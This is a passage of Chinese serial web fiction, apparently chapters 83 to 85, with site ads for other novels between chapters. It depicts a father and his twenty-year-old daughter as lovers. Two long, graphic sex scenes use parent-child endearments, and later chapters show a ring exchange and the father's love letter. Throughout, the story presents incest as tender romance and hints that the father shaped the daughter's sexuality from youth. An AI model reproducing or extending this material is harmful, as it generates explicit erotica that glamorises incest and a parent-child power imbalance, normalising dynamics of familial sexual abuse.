  他不知道这是抚慰还是惩罚,他看不见她的脸,裸体站在落地窗边,尽管是高层没人能看见,也紧张得心率激增。
  裴芙挑逗乳头的刺激让他浑身潮红,趴在玻璃上急促喘息,他觉得自己就像是条发情的公狗被主人欺压亵玩,裴芙是在利用他的重欲来不断压榨他。
  他的后背能感受到裴芙紧贴的身体,她柔软地附着着他的脊背,手里握着他的阴茎上下不停撸动。
  身体最原始最本我的欲望冲动熊熊燃烧,马眼分泌出的淫水湿润整根性器,龟头在玻璃上蹭出腺液湿痕,潮热的乳头抵上冰冷的窗,她的嘴唇轻轻贴在他后背凸起的肩胛骨上,又轻又痒。
  裴芙吻到他背后蒙生的薄汗,一点点咸味。他的肩背可真宽啊……裴芙的脸颊贴住他,问:“舒服吗?”
  “嗯……”
  她的另一只手沾了润滑,悄无声息地探入他臀缝间,一点一点插了进去。
  她动作生涩而小心,身前的男人身体绷紧,呼吸急促而隐忍,胯下阴茎微微跳了一下,裴芙小声说:“痛吗?”
  “不…”裴闵有些不自在,“只是有一点胀。”
  她慢慢又往里进了一点,突然他身体猛地一颤,裴芙心想,大概是到地方了。
  没想到他的腺体生得这样浅,她的指尖在那处软肉上按顶几回,裴闵的阴茎颤动,马眼极兴奋的微微开阖,流出一股晶莹的淫水。
  裴芙越是顶他,难以启齿的快感自那处蔓延开来,酥麻的微小电流扫荡全身,裴闵下腹不自控地痉挛颤抖,只听他急促地喘了一声,叫了裴芙一句“芙芙”就趴在玻璃窗上瘫了下去,阴茎已经失禁一般地淌出浓白精液,溅射在玻璃上往下滴淌。
  裴闵自己好像还没意识到发生了什么,双目失神地跪在地上,带着一根尚在余韵中微颤的性器与紧紧吸拢的后穴。
  裴芙蹲下去把他的头抱在怀中,裴闵的眼睫都是湿润的,在情欲里承受不住,居然还哭了。
  裴芙觉得他又色情又招人怜爱,把这个大块头揽到自己怀里抱着平复了一会儿。
  裴闵一双润润的眼睛眨动两下,脸还埋在她胸脯里,他把她压倒在地上,猛蹭了两下裴芙柔软的乳房。
  不一会儿从她胸前抬起半张脸,颇有些哀怨地说:“你真把我给操了。”
  “只是摸了一下你的前列腺而已。”
  裴芙的眼睛里带着一种他难以捉摸的笑意,他突然有些无法揣测她的心思,她满意吗?或者说她无法接受?
  “你里面特别热,特别紧……还会吸我的手指……”她一边说一边吻他,“我里面也是这样吗?我也是这么吸你的吗?”
  你这小混账。
  裴闵咬了一下她的嘴唇,想了想才说,真的很舒服。
  他原先以为这种事是心理快感大于生理,毕竟他不是男同也没有被人捅过,之前听说前列腺高潮,总带着一层玄幻小说似的滤镜。
  他对裴芙提这件事的时候只是想或许她会喜欢这样,万一很合拍也算是一种讨好……没想到,在她对他做这些的时候竟然会如此刺激。
  他感觉到一种依恋,小鸡出壳的时候见到的第一个生物会被认作妈妈,他第一次尝试不同的性爱方式,也对裴芙有了某种更亲密的羁绊。
  裴芙被他脸上柔软的神色勾住了,裴闵居然认认真真说他舒服,还以为他会死要面子地糊弄过去。
  怎么办,好像又多爱了一点。
  裴芙和他躺在地毯上,暂时不去想上边的体液要怎么清洁,扯了床上的毯子盖在身上,两个人躺在硬硬的地板上无言地抱了一会儿,突然开始笑。
  “你笑什么?”裴芙的手轻轻扣住他的脖子,大拇指摁着裴闵的喉结抚摸,“有什么好笑的?”
  “我笑我……我笑我真的被你操了。”裴闵笑得发抖:“太荒唐了……还有什么事儿干不出来?”
  “那哪里算真的弄你,我就是伸进去摸了一下,谁知道你反应那么大……我也不是要怎么你,也不是以后都……”
  她被自己绕进去了:“我就是想让你舒服一下,你既然试过了就知道什么感觉了,不用瞎琢磨。”
  “我知道你什么意思,我们就是怎么舒服怎么来……乱搞。那你告诉我,你喜不喜欢操我?”裴闵伸手摸她,内裤一大包黏糊糊的淫水,“你好湿。”
  他的手指已经塞进去一个指节,还假惺惺问:“要不要?”
  “别插进去。”裴芙抱住他脖子贴在他身上:“揉一下前面,让我到一次就好。”
  “阴蒂?”
  他嗓音被压得低沉,很有些性感蛊惑的男狐狸精味道,中指指节从穴口撤出来,和食指摁住鼓起的肉珠。
  裴芙的内裤没脱下来,他的手伸进来,有种隐秘的包裹感,弹性的棉质面料束缚住他和她,裴闵不能心随所欲,只是一手包裹住着柔嫩的阴户,煽情地揉动着,指尖陷在淫水裹湿的软肉淫缝里摩挲、不断给予刺激。
  裴芙的呻吟越来越急促,她的身体微微在裴闵怀中挣动,腰肢扭动着,将身下更紧密地送到裴闵手里。
  “爸爸,我快…嗯……不行了,你慢一点。”
  “宝宝好快。”他轻笑,“也太快了,怎么就不行了?才几分钟。”
  “你也没撑多久!啊……!”裴芙被他骤然加大的手劲捻住了弱处,想也不用想,那可怜的蒂珠已经让指头压得缩进皮肉里颤颤地裹住,整个湿乎乎的肉穴都剧烈痉挛了一下,带动肉唇吸着裴闵的手指,谄媚地求他对她更好一些。
  裴芙被他挟住,他只是为她手淫而已,抚慰的每一秒力度都像是精心考量算计过,恰恰好好就捏在那一个点上,她是被他一手调出来的,他太明白她的耐受性与喜好,折腾得女孩子在怀里又咬又叫,他把握每一次潮涨潮落,钓着她在不高不低的地方饱尝刺激与煎熬。
  裴闵还是心软得不行,裴芙叫两句爸爸他就招架不住,停了手说,宝宝,我舔舔你吧。
  裴闵的手掌正压在她的大腿上,明明急不可耐,还忍住热意,一点点摸她,手指擦过她的腿根,往她的隐蜜处靠近。
  他退下去,把裴芙的内裤退到膝弯,脸低进她的腿心。
  裴芙一瞬间哭了出来,裴闵的牙轻轻叼住被吮肿的阴蒂,舌尖快速扫动。
  他的口交技术已经磨炼得很纯熟,两片柔软的唇瓣吸上阴蒂含吮的时候裴芙就不行了。
  他舌尖刁钻地往阴蒂上挑拨,舌苔刮擦红嫩勃胀的蒂珠,间或猛地一吸,她小腿发颤,快感从被男人的嘴含住的外阴如水波荡漾开来,酥麻感自小腹内电流般游走全身,深处的热流涌出,立刻就被那张嘴吮吸得一滴不剩。
  裴芙忍不住抓住了裴闵的头发,她分不清刚刚那一阵是高潮还是小高潮,令人头晕目眩的快感还在持续,男人热而厚、微微粗糙的舌苔正席卷过每一寸软阴,他令一切感受延长,她体内的痉挛仍然翻涌不停,裴闵的舌尖顶开下面微张的嫩孔,模糊不清地爱语:“让我亲亲宝宝的里面。”
  裴芙真的不想让他再叫自己宝宝,襁褓中的爱称被沿用到碧玉桃李,已经是溺爱娇纵;而他在床上还要这样叫,称呼越是柔情性事就越是凶狠。
  偏偏她一听就动情,别过脸去身下也不会骗人,她私处涌出黏蜜爱液,情难自控地锁紧,绞住裴闵的舌尖。
  高潮迭起,她捂着嘴、押着裴闵的后脑勺,他的舌头简直如同非人的触手,在肉穴内大肆舔肏,裴芙发出极其淫腻的哼叫,捂住嘴也忍不住泄露出声响。
  她觉得自己简直要被他舌奸坏了,浑身高热,香汗淋漓。
  她才发现裴闵原来在自慰,他一边吃她一边飞速撸动自己的阴茎。
  裴芙的眼睛瞟那色欲熏天的一根,最终还是没忍心,用脚趾踢他的胸膛,命令:“你插进来吧。”
  “不是说只揉一下?”裴闵从她的跨间抬起头,好色,鼻尖都黏着拉丝的淫水。
  “插进来吧,”她说:“我想你在里面。”
  裴芙觉得里面简直痒得可怕,他舌头侍奉得周全,可是舌头比较只有那么两三寸,更深的地方它舔不到也塞不满,空虚的瘙痒变成难挨的酸涩,丝线一样缠在心尖子上。
  裴闵奉旨抱了上来,龟头沾了爱液往里入。
  他喜欢这个往里顶的过程,并不是一下就进去了,是先在穴口蹭一蹭,那张嘴好像认主一样向他敞开一点点湿软的缝隙、吐出更多的淫水,把两个人交合的地方打得湿乎乎,然后他的铃口温柔地吻上去——他一直觉得这是一个蜻蜓点水的湿吻,很矛盾。
  他顶着她一点点陷入进去,然后肿胀充血的阴茎被热烫的她裹住。
  两个人都发出了满足的低喘,近似于一声喟叹。
  他结结实实压进去了,身子也伏在她身上,咬着她耳朵说,爸爸进来了,宝宝。
  裴芙痴痴地唔了一声,她现在身心被满足得相当完满,他完全嵌入进来的时候简直想像猫一样伸一个长长的懒腰,但是情况不允许,因为她被裴闵捉住了。
  她忍不住在裴闵的颈窝里蹭了两下,让他再深一点,再深一点,最好顶到子宫里去,不带一点缝隙地相连,连体婴儿一样牵在一起。
  她的腿紧紧缠着裴闵的腰,他把她抱起来,每一次都进到最深处。
  裴芙在落地窗上看见自己的倒影,她看见裴闵失控的抽插和自己容纳一根粗硕男根的淫穴,在最后濒临射精时裴闵每一次挺入有明显间隔,他进得更用力也更深,在裴闵不遗余力的捣击中,一股水液断断续续从交合处滴落,顺着他紧实的腿肌流下。
  裴芙的尖叫并没有停歇,裴闵在意识到她失禁的那一刻用手覆盖上她的阴户,打圈揉动仍然勃肿的阴蒂。
  “宝宝尿给我吧…爸爸射给你……嗯…好不好?爸爸都射给你……”
  裴芙脑子发白,猝不及防地喷出第二波更为湍急的水液,甬道内急剧绞缩痉挛,裴闵也挺入最后一次,埋在她深处跳动着射了出来。
  他已经射过一次,精液相比于初次没有那么黏稠,可或许正因如此,精液喷薄而出的时候力度反而更大了些,打在肉壁泛起酸软的微痒。
  裴芙还夹着他,两个人都还沉浸在高潮里,一时半会也没拔。他以为她已经要累得昏厥过去,裴芙却喃喃:“我还是太自私了。”
  “什么?”
  “比起伺候你,我还是喜欢被你伺候。”
  “那我伺候你,”裴闵的阴茎从穴内滑出来:“我肏你,好不好?老老实实的,我不要你干我。”
  裴芙眼皮子掀开瞥他一眼,“我用下面和你做就不是干你了?”
  “也是……都是,都是你操我,好不好?”
  “嗯……再叫我一次吧。”
  “叫什么?”
  “宝宝。”
  “宝宝。”裴闵一颗心全都化给她了,他刚做完,却全无想抽事后烟的贤者时间,只想一个劲黏着裴芙,抱着捧着她的脸亲了又亲:“乖宝宝……我的小心肝。”
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  只是顺其自然地写了一点,,,
  (飞走)

我有九千万亿舔狗金
番茄第一帅哥
舔一个女神,你就是舔苟。舔一百个女神,一百个女神就是你的舔苟。陈远,觉醒终极舔苟系统,获得舔苟金九千万亿。一条终极舔王的故事,由此展开·····

风情万种 / 发表于: 2025/09/12 10:53:59

第八十三章
  裴芙一方面爱他作为父亲、年上方的温柔体贴,另一方面也着迷于他在恋爱中的青涩感。
  中学时期有一段时间她是非常渴望探知裴闵作为独立个体是如何处世的,他是一个怎样的人,又是怎样去爱人的?
  她以为另一面的他是水下冰山、月球背面,她不了解的区块是庞大的,但实际上裴闵比她想象得要简单很多。
  他的私人社交圈非常简单,活了三十几年,朋友很多但大部分是君子之交,不乏追求者却从不曾与谁坠入爱河。
  裴芙觉得他有着Steve的绝品身材和Thor式的豁达之心,当然,所有人都觉得他很棒,但是这样也会带来距离感,没人觉得自己会成为他心中的第一位——当然这个位置只有裴芙可以坐上。
  这一方面其实她和他很相似,没有办法维系过长时间的友谊或者其他亲密关系,放任自流,时间到了道路不同就会走散。
  裴芙坐在他的办公室里,往外一眼可以看到地标建筑和平静的江水,暑季炎热,下游开闸往湖里送水,眼看着江里热到水都快蒸干了,景色不算好看。
  南方的夏天也容易涨水的。她从小跟着他,这些年从雨季会被淹没大腿的地下室一路到仓库、大厂房、高层写字楼的公司……
  她觉得裴闵是一个很适合被追随的人,看似外向的内向型人格,思维细腻作风大胆,梦想家的气质和实干派的踏实结合得很好,有种让人心折的气度。
  公司里大家都觉得他是个很好的老板,但是不会有人敢冒犯他。
  女儿不是员工,也不用追随,而是被他含在嘴里、裹在怀里,和他一起用第一人称视角建造一座梦中的水晶城堡。
  她从柜子里拿出一个漂亮的威士忌杯,裴闵的办公室有吧台,也有专门放酒的冷柜和冻冰块的冰柜,完全是一个奢华专业的迷你吧台。
  周末的下午这几层的写字楼都静悄悄,只有他们两个人包场。
  酒杯没有冷藏,裴闵用冰块把杯子冰了一下。他做这些事的时候很自然地站在她身后,手臂环绕她、把她圈住,围在自己的身体和吧台之间。
  裴闵的手她很熟悉了,很大,掌心里有举铁磨出来的茧,手背皮肉很薄,青筋骨脉很明显,是很刚毅的样子。
  他用这双美丽的手捏住搅棒弄冰,冰块贴着划过杯子每寸内壁,释放出冰凉的寒气。
  水珠滑下来沾湿他的手指,裴芙做了一个轻微的吞咽。
  裴闵的身体比她要热,从后挨上来的时候带着衣物被日晒过的美妙味道,阳光的温度因为他的体温得以续存。
  相信此刻不止有她一个人觉得氛围很好,裴闵的姿势是蓄意勾引,两个人的距离近到让她心动。她既然没有及时拆穿,就要承担后果。
  裴闵嘴唇从后贴住她耳根,激得她敏感地轻颤一下,“想喝一点吗?”
  “嗯。”
  摸过杯子带着冰寒气的手指插入了禁闭的双腿之间,裴芙已经湿润的穴口无需任何调情就能迎接他的到来,而热烫的穴眼被冰冷的手指抵上的时候还是忍不住瑟缩。
  裴闵的指尖已经压进去了一点儿,立刻被小小的穴口吮住,她在诱惑他,以一种神秘的、邀人探寻的紧致,请他进去。
  “嘶——嗯……好冰……”
  “冷吗?”裴闵压住她穴内软肉,似乎是想借助热传导暖热自己的手指,裴芙被冰得倒吸一口气,却还向后摸裴闵的手臂,让他不要离开。
  凉热交织里裴芙忍不住俯下身子、撑在台面上,只留给裴闵一片弯薄颤抖的脊背。
  说冰火两重天也不为过,裴芙咬得很紧,但她足够湿,很快第二根手指就把她撑开,私处发出咕叽黏糊的水声。
  裴闵一心二用,另一只手把杯里的冰块融水倒掉,夹进一块老冰再倒入混合了水的威士忌。
  “现在就拜托你了,”裴闵把搅拌棒放在她的掌心里,“搅五分钟。”
  而他自己含入一颗小冰球,跪了下去。
  裴芙的腿一直在抖,内裤已经掉在脚踝,短裙被抓着推上去。
  她想把腿夹紧,立刻又被掰开,裴闵的手掌压住她的腰柔软地塌伏下去,而臀部对着他翘起来。
  她似乎觉得她并着腿把嫩嫩的阴户夹得肥嘟嘟的样子也很情色,手转而伸向那紧闭的蚌肉,两根手指残酷地挑开,露出柔嫩脆弱的软红淫肉,扒开一点、再扒开一点,他对准翕张的穴口吹了一口幽幽的凉气,热烫的穴眼猛地一缩,一丝缝隙都不肯再向他张开,只有丝丝淫水止不住地往外渗。
  裴闵用冰冷的口腔为她口交,冰凉的舌头不满足于舔舐肉唇,他用手向两侧扒开丰腴的阴唇,蛮横地磨过最嫩的蜜缝,浅红的软肉挣扎着被凌虐,被灵活而粗糙的舌面磨到深红。
  他舌尖一顶,抵住最鲜甜的蚌珠大力嘬吸,口中未化的圆融冰粒与舌尖轮番压住阴蒂、打圈亵压。
  裴芙趴在吧台上,她已经因为快感痉挛不止、泪流满面,烈性的威士忌像一团被冻住的苦火焰,被她当做一剂烈性春药吞下去。
  他这一阵子给她口的次数太多了,裴芙却还是难以承受这样的快感,他正跪在身后为她舔穴,裴芙腿心都被他摁在下半张脸上舔吃,她忍不住预想等一会儿他会怎么样做,是让她躺在办公桌上还是趴在吧台上后入。
  裴闵的性器早就在裤子里撑起来了。可他的眼睛只是垂着,没有给出任何向主人恳求的讯号,只是更加卖力地吻她丰腴淋漓的阴户。
  他用舌尖勾住花核、嘬吸她的淫汁,细小的冰球被他用舌顶入饥渴已久的穴口,裴芙的尖叫挣扎被他压制,随后是更为残酷的舌奸,他用冰冷嘴唇迎接她滚烫的潮喷。
  混乱淫靡的喘息中,他突然下腹一麻,轻飘飘的快感席卷全身。
  特别糟糕……
  内裤的湿痕透了出来,裆部一大片深色。裴芙转过身来用脚轻轻踩住那儿:“这怎么就泄了?”
  如梦似幻。
  往上仰视是她的短裙、吊带袜,垂头看见的是涂着红色指甲油的脚正踩住他尴尬的精痕。
  他西装裤下仍然半勃的粗硕肉棒,正因为她的蹂躏和微小羞辱而再度充血挺立。
  翘起的龟头隔着几层布料顶着她的足心,裴闵忍不住轻轻动了动腰臀,敏感的顶部在她的足下小小的摩蹭,希求一个宽恕。
  裴芙往下踩住。“唔!”
  “很有感觉吧?”她举起酒杯喝下一口水割威士忌,“谁允许你奖励自己?”
  裴闵忍不住环抱她的腿,亲了一下她的大腿:“不可以吗?”
  “不可以。”
  “那我只能强取豪夺了,你批准吧。”
  裙摆掉下去的同时是他迎上来的唇舌,裴芙的右脚被他抓住按在他腿间愈发炽热的隆起上。
  他的舌与阴茎是动作同频的海浪,顶住她、托举她,潮湿地冲刷她。
  “爸爸……”她确信这是力竭之前最后一个能完整成音的词,裴闵哼了一声,在欲望中沉湎几秒,就缓慢抽离出来,接住已经瘫软的女儿。
  裴芙的呼吸还有些急促,像一团团湿热的雾呼在他颈侧。裴闵把她抱去小床上躺下,又细致地替她把沾脏的吊带袜脱下、擦净身体。
  裴芙觉得舒服,一身懒洋洋的侧卧着,看裴闵把自己脱干净,用她用过的帕子潦草地擦汗。
  他只留给她一个性感的背影,裤子扒下去的时候腿间那沉甸甸的一根还黏着内裤情色地拉出丝来。
  他的屁股也是又紧又翘,以前居然没怎么仔细看过……裴芙撑着脑袋盯着他,活脱脱一个女流氓,目光之赤裸火热,有如实质地扫视过他浑身上下,让裴闵都无法忽视地回头看她。
  “你怎么盯着我看……你是色鬼吗。”
  “嗯哼。”裴芙承认得毫无犹豫,裴闵抬腿套内裤的动作都凝滞了一下,险些趔趄摔倒。
  他懊恼地“啊”了一声,迅速套上干爽的衣物往床边走去。
  “你还‘嗯’呢?”裴闵把身子砸到床上,床垫像蹦床一样稍稍回弹,惹得裴芙笑起来。
  “笑得和小母鸡一样,咯咯咯咯咯咯。你这色女……”
  “我不色就不会招惹你了。”裴芙往他怀里钻:“我就是好色。”
  裴芙说,“我还想和你接吻。”
  裴闵在许多方面比她更晚熟,他是在她的手掌里被捂着苞、哄着开的。
  自从被裴芙玩到前列腺高潮以后,再面对她总有些羞涩。
  在家里偶尔目光相交,也红着耳朵略有慌张地移开视线。
  他受不了裴芙的凝视,她的目光是不经意的调情,眼睛轻轻眨动一下都像是把他的衣服剥光了。
  “爸爸,”她揪住裴闵宽松上衣的领口往下拽,领口被扯成深v,她在胸肌上亲了一口,“你这两天不对劲呀?”
  “没有吧。”
  裴闵眼神乱飘,但裴芙脸贴着他前胸抬起来,直直盯着他。她这样盯人真像猫……裴闵的视线无处可逃,只能和她对上了。
  “你想什么呢?怎么都不敢看我。”裴芙的掌心还贴着他的胸脯,往下轻轻一按,胸膛里的心跳很快,怦怦地震手。
  裴闵不说话也没事,一直以来她都是主动出击步步紧逼的那一个。她和裴闵看起来应该是裴闵更主动而她更含蓄,但很多时候完全相反。
  她很享受这样的主动权,把裴闵逼到床角和他接吻,裴闵的手慢慢握住她的腰收紧,他觉得这个吻有加深的趋向,两个人唇舌的纠缠渐渐急促起来,裴芙贴着他的嘴唇模糊不清地问:“是因为前天晚上吗?”
  裴闵那点心思一下被她击中,整个人都僵硬了一下。他的身体被逼到床边,心也被她逼紧了,缩成可怜的一小团。
  “不是因为那个晚上。”裴闵说:“是因为你。”
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  我想写这个play很久了我终于写了。。。

好色小姨
孤寂之狼
“小姨,我要……”“乖乖,我来了……”当你有一个漂亮的不像话,而且寂寞难耐的小姨时,你会怎么做?当这个爱你到骨子里的小姨不断的为你勾搭各种美女的时候,你会怎么做?从萝莉,到御姐,到少妇,小姨的命令统统拿下……

风情万种 / 发表于: 2025/09/12 11:02:43

第八十四章
  “因为我?”裴芙追问:“说说看。”
  “你怎么这么刨根究底?本来气氛很好的……”裴闵脚趾都绷紧了:“就是因为…我不知道怎么说,你非要我说……你太直接了,让我有一点招架不住。”
  “那你觉得这是好事还是坏事?”
  “挺好的……我怎么会觉得你不好。是我自己不好意思,有时候都有点不知道怎么回应你了。现在年轻的小孩子是不是都要更开放一点?”
  “我也不知道别人是怎么样的。我对你胆子很大,是因为我们很熟了,如果在你面前扭扭捏捏,你一眼就能看出来吧?太做作了。”
  裴芙把身子蜷成舒服的形状往裴闵怀里靠,“而且你的性格也是,莽的时候吓死人,但是一下又会缩到壳里去。如果我不直接一点,要多走很多弯路。”
  她有点困,但是话匣子被拉开了,忍不住嘴里继续絮絮叨叨,“我以前和你说过的……我很自私,我想要你最爱我,但是我不想傻傻地等着来被你爱。我不想把自己变成很被动的一方。”
  “如果我一直在等待,在接受……这很不公平。我不想等待被爱,无论是爸爸的父爱亲情,或者说是爱情,是我想要你,一开始就是我。”
  她声音有点模糊,“是不是,裴闵?”
  “是。我懂你。”
  “如果我不犯傻,我不一直向你…进攻,你这辈子都不会像现在这样,给我我想要的爱……你也不会和我做爱。我们两个做得很多,”裴芙没忍住哼笑了一下,“因为我们没有必要像普通的情侣一样认识、磨合,我们对彼此最陌生的就是身体。”
  “爸爸,在西双版纳那一次以后……我想要的一直都只有你。”
  裴闵忍不住低下头去亲吻她,“想要的只有我?”
  “只有你,only you。”裴芙莫名其妙开始哼歌。
  她躲开裴闵的亲吻,他的吻来得太轻柔太煽情,这样的吻降落在真心剖白之后,让她觉得有点无所适从的尴尬羞涩。
  裴闵把她的头按进自己怀里,她大概能够听得见他鼓噪的心跳。裴闵深呼吸了一下。
  裴闵的声音不像是通过空气穿越到她耳朵里的,或许是因为她的耳朵此刻变成一只监听器死死被摁在他胸膛上,声音可以通过骨传导、固液气传导,总之她听见的声音有混响效果,她觉得裴闵是天生的诗人。
  他说,你是我从未想过的挚爱。
  裴芙忍不住灵魂的颤抖,这种温柔得要带来恐慌的字句本来不应该从口头传达,它应该被含蓄地写在纸上,装入在信封里,层层包裹减免杀伤力。
  可是裴闵就这样把它直接地说出来了,砸得她头晕目眩。
  和那个夏天他说“全世界我最爱你”一样,直白、坦荡。
  裴芙本来还在说身体和欲望方面的事,她还能接着往下延伸探讨,但是裴闵把一切拉回最纯洁的原点,她实在无力招架。
  裴闵说,“现在是我想和你接吻了。”
  亲吻的时候裴芙分出一点心,她在想那枚钻戒,她本来还想再拖一拖,拖到——不知道,再过两年吧,裴闵四十岁的时候,但是现在她突然觉得水到渠成,一切来得刚刚好。
  裴芙没有声张,她和裴闵夜里回家,按照惯例相拥而眠,裴闵熟睡过去,她轻轻为他套上那枚戒指。
  好了,这就是了。戴在无名指刚刚好,严丝合缝把他套牢。
  裴闵第二天早上并没有立刻察觉手上多出来的东西。他睡眼惺忪地走到卫生间刷牙洗脸,手接住一捧流水往脸上泼,突然看见一个——环。
  他难以置信地看着无名指上镶嵌钻石的指环,在原地僵了半分钟。
  随后他轻轻转动这枚精致而低调的戒指,很明显这是某个小女孩的手笔。
  他走到窗边对着自然光欣赏了一会儿,随后去厨房给裴芙做早餐。
  他不急着把她叫醒、分享这份惊天喜悦,他要成熟而克制地、人夫感十足地——
  不管了!他扭头往卧室冲去,裴芙被他弄醒,清早被大型犬狂甩一脸口水。
  宝宝,你是阿拉斯加,不是马尔济斯。
  她被压得喘不过气来,推裴闵又推不动,只能被他压着亲来亲去。
  “你给我买戒指了,钻戒!”他伸出一个大巴掌,顺带手心手背都转了一圈向她展示:“钻戒!”
  “我知道,我买的,你先…先起开。”
  “什么时候买的?”
  “买了好久了。”身上压着的壮汉终于大发慈悲坐起来了,她也撑着身子靠着床背坐起来,顶着一头乱糟糟的头发:“情人节就买了。”
  “那为什么现在才给我?”
  “感觉这个太隆重了……”
  “我超级喜欢……”裴闵确实是兴奋上脸了,面庞都激动红了:“我的天!”
  “虽然不是鸽子蛋,但是这个我看一眼就很喜欢。”裴芙从床头柜抽屉里把装着女戒的绒盒子拿出来递给他:“你给我戴吧。”
  人生就是充满变数的。
  裴芙脑子其实还没完全醒来,她有点迷糊,也不太清楚这样是否就是她想要的场面。
  她之前构想,应该在一个更正式的时间地点,比如下一次出游、情人节,或者裴闵四十岁生日的时候,钻戒一亮,大杀四方。
  昨天晚上她其实还犹豫了很久,那个戒圈在裴闵手边上徘徊了一阵子,最终还是给他套上去了。
  此刻晨光熹微,太阳还没有完全升起,外面好像有朝雾。
  一个明亮而安静的早晨,和以往平凡的日常没有任何不同。
  她顶着一头睡乱的头发、没洗的脸,裴闵比她好一点,但也只是擦了脸刷了牙。
  两个人穿着皱巴巴的旧睡衣为彼此戴上钻戒,屏息凝神地,好似正在教堂宣誓。
  裴闵珍重而虔诚地在她指尖吻了一下。
  她觉得这样也很好。

凡人修仙传
忘语
修仙觅长生,热血任逍遥,踏莲曳波涤剑骨,凭虚御风塑圣魂! ...

风情万种 / 发表于: 2025/09/12 11:02:45

第八十五章
  裴闵四十岁生日的时候给裴芙写了第一封信,他也不确定这算不算第一封,因为在送出去之前,他已经落笔千万次。
  这封信他偷偷塞在裴芙的包里。
  他在正月生日,以往工作忙,几乎都是和春节一块儿过了、或者在应酬,今年到了整生终于要好好办一次,虽然他自己并没有很重视,但裴芙已经期待很久。
  可是随着日子越来越近,裴芙缺欲言又止,夜里坐在床边上向他坦白。
  相熟的教授联系她,有一份很难得的实习,他愿意推荐她去试试看。
  出版社的名字一发出来裴芙心脏都差点儿蹦出来,教授说她在学校新媒体中心干得不错,文字功底也很扎实,过去应该能跟着长进。
  可她又不是本地人,不知道她寒假愿不愿意再回北京。
  “你去啊!你必须去……这么好的机会,要实习多久?三个月?你看看你开学以后课业能不能兼顾?”
  “应该没什么问题。”裴芙把大大小小的事都在脑子里捋了一遍时间线,可还是沉沉叹了一口气:“但是你的生日……”
  “那是小事,生日什么时候都能过,我都过了四十个了已经没感觉了,但是机会不是次次有。虽然我以前和你说过不要太执着于刷实习经历,但是这个机会可遇不可求,你可以接触到很多你感兴趣的知识、厉害的从业者,也能去磨一磨性子。”
  裴闵轻轻抱住她:“你把我的事情看得太重了……宝宝,我已经定下来了,你还没有,你还可以再往上飞一飞。你现在把一颗心都系在我身上,你就飞不高、飞不远了。”
  “可是我很想陪你过生日……你四十岁啊。”裴芙看着他,眼睛都有点红了。
  她读大学这几年成长得很迅速,早就不是刚在一起时动不动就掉眼泪的小女孩,现在又红眼睛,说不上是舍不得还是不甘心。
  从情感的角度考量,肯定是裴闵比较重要,可是那一头也很有吸引力,而且说不定会影响之后的人生方向。
  她已经二十岁,独处得越多、思考的时候也越多,很聪慧地参透万事皆有因果,积累的东西在人生的某个时间点自会发挥作用。
  所以她才更纠结。
  可是她怕自己太自私太虚伪,好在裴闵懂得。他是爸爸,怎么会不懂孩子的前途远大,怎么会允许自己当她的绊脚石。
  他亲了亲裴芙的额头:“好啦,我知道你一定是很想陪我的。我也不骗你,我确实也会舍不得你,不过我更想你去体验没经历过的事情,你到时候就可以打电话告诉我,你有什么高兴的、不高兴的见闻,我听了就不会觉得寂寞。”
  “宝宝,我已经四十岁了,我比你想象得要独立一些,就像我相信你一样,你也相信我可以好好工作赚钱,在家里等你回来……到时候我们补过一个就是了。”
  裴芙还是去了,前一天晚上泪眼婆娑后一天在机场头也不回一个。
  她在飞机上想掏出电脑敲一个文档,打开双肩包却发现一封贴着电脑、放在夹层里被压得平平整整的信。
  她的指尖停顿了一下,然后轻轻地打开了它。
  亲爱的芙芙:
  当你看到这封信的时候,我一定在想你。你呢?你在想我吗?希望你最好是,要不然我会有点难过。
  我的文笔远比不上你,在脑子里构思了很久,最后决定凭心而为。就像你和我聊天时那样,想到什么说什么。
  首先,我要对你说:我爱你。
  我们经常对彼此说这句话,怎么也说不腻。
  早上好,我爱你。
  晚安,我爱你。
  谢谢,我爱你。
  饭很好吃,我爱你。
  今天的天气很好,我爱你。
  我们在一句又一句的我爱你里,确定并且巩固了我们的爱。
  不过你常常向我确认,我是否把你当做一个女人来看、来爱。对你而言那很重要,可是对我来说,我没有办法把这些感情摘得很清楚。
  如果你能够养育一个生命,看着她发芽开花,你也会有同样的感受。无论你长到多少岁,在我眼里,你都只是一个小女孩。
  芙芙,真的很不好意思。因为我是爸爸。
  你是在我不知道的时候,悄悄降临在这个世界的,这是我最遗憾的事情。
  突然一下,世界上多出来一个我的亲人,我成为了你的父亲,你成为了我的女儿,毫无防备。
  所以一直以来我都在学习……因为我需要爱你,却不知道为什么而爱。
  可是慢慢的,你告诉我了,你用你的爱来告诉我,爱是无条件的。
  好像从交到我手里的那一刻你就开始爱我了。
  你会对我笑,第一个会讲的词是“爸爸”,因为有你,我的生命变得不再孤单。
  我好高兴、好感激。你是我最珍贵的宝贝。
  我爱你,无关一切,全心全意。请不要怀疑我对你的爱。我永远是这个世界上最爱你的人,无论何时都可以依靠。
  我也感谢你爱我。
  你总说你的爱是自私的,其实不是。
  因为你把自己的爱全部给了我,一点也不吝啬。
  你从来没有挑剔过我作为父亲的不足,对待我这样幼稚的爱人也百般宽容,我们之间甚至没有太多磨合——当没有磨合的时候,证明有人在包容。
  你是个很成熟、独立的人,有时候我甚至也会忘记了我们之间的差距。爸爸今年四十岁了,你恰好占据我人生的一半长度,你还很年轻。
  现在我开始有点害怕,因为我渐渐感受到了自己的衰老。
  我会觉得精力不支,没有办法长时间工作,学习能力也在下降,记忆好像也是。
  不过别担心,关于你的事情我都记得很清楚,相信即使我得了老年痴呆症,也会记得关于你的所有。
  你还记得在你小学时,我们一起读过泰戈尔的《飞鸟集》吗?
  那是你第一次读诗。
  你最喜欢的一句是“生如夏花之绚烂”,而我拿起你没有读完的诗集,翻到了另一段话:弓在箭要射出去之前,低声对箭说:“你的自由就是我的自由。”
  我看到那句话以后思考了很久,它究竟想表达什么呢?弓没有自由,所以把自由寄托在了箭身上?还是弓所朝、箭所指?
  直到现在,我想,这句话就是它字面的意思。芙芙,你的自由就是我的自由。
  所以带着这句话,勇敢地飞吧。
  现在是二月十一日,晚上十点四十分。
  你因为实习不能陪我过生日的事情哭了半小时,现在已经在我身边睡着了。
  而我亮着小夜灯,悄悄写下这封信。
  我经常趁着你睡着后偷偷看你,你睡着的样子安静又可爱,是我的小小天使。我想尽可能多看看你的样子,怎么也看不够。
  但是你,芙芙,你不能只被我看到。让世界也看看你吧。
  我在有限的生命里,无限地爱你。
  我真的爱你。
  ——爱你的,minamp;dad.

